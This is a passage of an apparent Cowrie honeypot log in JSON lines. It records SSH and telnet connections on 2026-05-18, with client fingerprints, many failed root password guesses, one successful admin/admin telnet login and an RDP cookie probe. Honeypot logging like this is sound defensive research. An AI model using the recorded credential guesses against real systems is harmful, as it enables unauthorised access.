01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:13:31.386332Z","src_ip":"87.251.79.125","session":"70508607705c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"3343shuovo","message":"login attempt [root/3343shuovo] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:13:31.606041Z","src_ip":"87.251.79.125","session":"70508607705c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:13:32.681960Z","src_ip":"87.251.79.125","session":"70508607705c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.172.78.219","src_port":40260,"dst_ip":"10.17.0.5","dst_port":22,"session":"84125ea33b05","protocol":"ssh","message":"New connection: 103.172.78.219:40260 (10.17.0.5:22) [session: 84125ea33b05]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:14:02.717998Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:14:02.724701Z","src_ip":"103.172.78.219","session":"84125ea33b05","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:14:02.985640Z","src_ip":"103.172.78.219","session":"84125ea33b05","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"nataha","message":"login attempt [root/nataha] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:14:04.105553Z","src_ip":"103.172.78.219","session":"84125ea33b05","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:14:05.371860Z","src_ip":"103.172.78.219","session":"84125ea33b05","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":56.91051721572876,"message":"Connection lost after 56 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:14:16.361212Z","src_ip":"152.42.224.71","session":"f2418f98cb13","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":40756,"dst_ip":"10.17.0.5","dst_port":23,"session":"786125286270","protocol":"telnet","message":"New connection: 152.42.224.71:40756 (10.17.0.5:23) [session: 786125286270]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:14:20.752966Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":40758,"dst_ip":"10.17.0.5","dst_port":23,"session":"3518df3ba2c2","protocol":"telnet","message":"New connection: 152.42.224.71:40758 (10.17.0.5:23) [session: 3518df3ba2c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:14:21.765748Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.133.62.83","src_port":33928,"dst_ip":"10.17.0.5","dst_port":22,"session":"2f6426622d62","protocol":"ssh","message":"New connection: 62.133.62.83:33928 (10.17.0.5:22) [session: 2f6426622d62]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:14:26.199589Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:14:26.205847Z","src_ip":"62.133.62.83","session":"2f6426622d62","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:14:26.358264Z","src_ip":"62.133.62.83","session":"2f6426622d62","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"darina","message":"login attempt [root/darina] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:14:26.817430Z","src_ip":"62.133.62.83","session":"2f6426622d62","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:14:27.999610Z","src_ip":"62.133.62.83","session":"2f6426622d62","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:14:49.685944Z","src_ip":"101.126.33.158","session":"9734321cd9d2","protocol":"telnet"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:14:49.735315Z","src_ip":"101.126.33.158","session":"9734321cd9d2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.38049602508545,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:14:52.146129Z","src_ip":"152.42.224.71","session":"3518df3ba2c2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.236.22.41","src_port":44766,"dst_ip":"10.17.0.5","dst_port":22,"session":"86e242b108b1","protocol":"ssh","message":"New connection: 185.236.22.41:44766 (10.17.0.5:22) [session: 86e242b108b1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:15:04.833444Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:15:04.890852Z","src_ip":"185.236.22.41","session":"86e242b108b1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:15:05.032826Z","src_ip":"185.236.22.41","session":"86e242b108b1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"790709","message":"login attempt [root/790709] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:15:05.544683Z","src_ip":"185.236.22.41","session":"86e242b108b1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:15:06.689927Z","src_ip":"185.236.22.41","session":"86e242b108b1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"167.172.81.52","src_port":50903,"dst_ip":"159.203.135.109","dst_port":22,"session":"f3bd774114d7","protocol":"ssh","message":"New connection: 167.172.81.52:50903 (159.203.135.109:22) [session: f3bd774114d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:15:32.246892Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:15:32.421737Z","src_ip":"167.172.81.52","session":"f3bd774114d7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:15:32.431846Z","src_ip":"167.172.81.52","session":"f3bd774114d7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":54310,"dst_ip":"10.17.0.5","dst_port":23,"session":"8ccf6be9cf9c","protocol":"telnet","message":"New connection: 152.42.224.71:54310 (10.17.0.5:23) [session: 8ccf6be9cf9c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:15:34.365204Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.56","src_port":12533,"dst_ip":"159.203.135.109","dst_port":22,"session":"385b2e9ba953","protocol":"ssh","message":"New connection: 213.209.159.56:12533 (159.203.135.109:22) [session: 385b2e9ba953]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:15:42.288655Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:15:42.293187Z","src_ip":"213.209.159.56","session":"385b2e9ba953","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:15:42.375376Z","src_ip":"213.209.159.56","session":"385b2e9ba953","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"asya","password":"asya","message":"login attempt [asya/asya] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:15:42.776001Z","src_ip":"213.209.159.56","session":"385b2e9ba953","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"asya","password":"asya1","message":"login attempt [asya/asya1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:15:43.862217Z","src_ip":"213.209.159.56","session":"385b2e9ba953","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"asya","password":"asya123","message":"login attempt [asya/asya123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:15:44.952816Z","src_ip":"213.209.159.56","session":"385b2e9ba953","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"asya","password":"asya1234","message":"login attempt [asya/asya1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:15:46.039375Z","src_ip":"213.209.159.56","session":"385b2e9ba953","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"asya","password":"asya12345","message":"login attempt [asya/asya12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:15:47.124981Z","src_ip":"213.209.159.56","session":"385b2e9ba953","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.9","message":"Connection lost after 5.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:15:48.215521Z","src_ip":"213.209.159.56","session":"385b2e9ba953","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.149.28.157","src_port":60132,"dst_ip":"10.17.0.5","dst_port":22,"session":"601f8a8272b7","protocol":"ssh","message":"New connection: 103.149.28.157:60132 (10.17.0.5:22) [session: 601f8a8272b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:16:06.160661Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:16:06.165897Z","src_ip":"103.149.28.157","session":"601f8a8272b7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:16:06.420990Z","src_ip":"103.149.28.157","session":"601f8a8272b7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"kleopatra","message":"login attempt [root/kleopatra] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:16:07.179663Z","src_ip":"103.149.28.157","session":"601f8a8272b7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:16:08.433045Z","src_ip":"103.149.28.157","session":"601f8a8272b7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":32970,"dst_ip":"10.17.0.5","dst_port":23,"session":"9dfbef15b19c","protocol":"telnet","message":"New connection: 152.42.224.71:32970 (10.17.0.5:23) [session: 9dfbef15b19c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:16:10.516000Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.153.68.219","src_port":37872,"dst_ip":"159.203.135.109","dst_port":22,"session":"8c9abe85ca5d","protocol":"ssh","message":"New connection: 103.153.68.219:37872 (159.203.135.109:22) [session: 8c9abe85ca5d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:16:12.356701Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:16:12.364925Z","src_ip":"103.153.68.219","session":"8c9abe85ca5d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:16:12.621372Z","src_ip":"103.153.68.219","session":"8c9abe85ca5d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"vjcrdf","message":"login attempt [root/vjcrdf] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:16:13.403098Z","src_ip":"103.153.68.219","session":"8c9abe85ca5d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:16:14.658202Z","src_ip":"103.153.68.219","session":"8c9abe85ca5d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":32982,"dst_ip":"10.17.0.5","dst_port":23,"session":"74ee78c0f260","protocol":"telnet","message":"New connection: 152.42.224.71:32982 (10.17.0.5:23) [session: 74ee78c0f260]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:16:15.699430Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":32992,"dst_ip":"10.17.0.5","dst_port":23,"session":"2297be079e5e","protocol":"telnet","message":"New connection: 152.42.224.71:32992 (10.17.0.5:23) [session: 2297be079e5e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:16:15.735142Z"}
{"eventid":"cowrie.session.closed","duration":120.00339221954346,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:16:20.756248Z","src_ip":"152.42.224.71","session":"786125286270","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.250.105.222","src_port":57692,"dst_ip":"10.17.0.5","dst_port":22,"session":"2721301f3e27","protocol":"ssh","message":"New connection: 51.250.105.222:57692 (10.17.0.5:22) [session: 2721301f3e27]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:16:21.001997Z"}
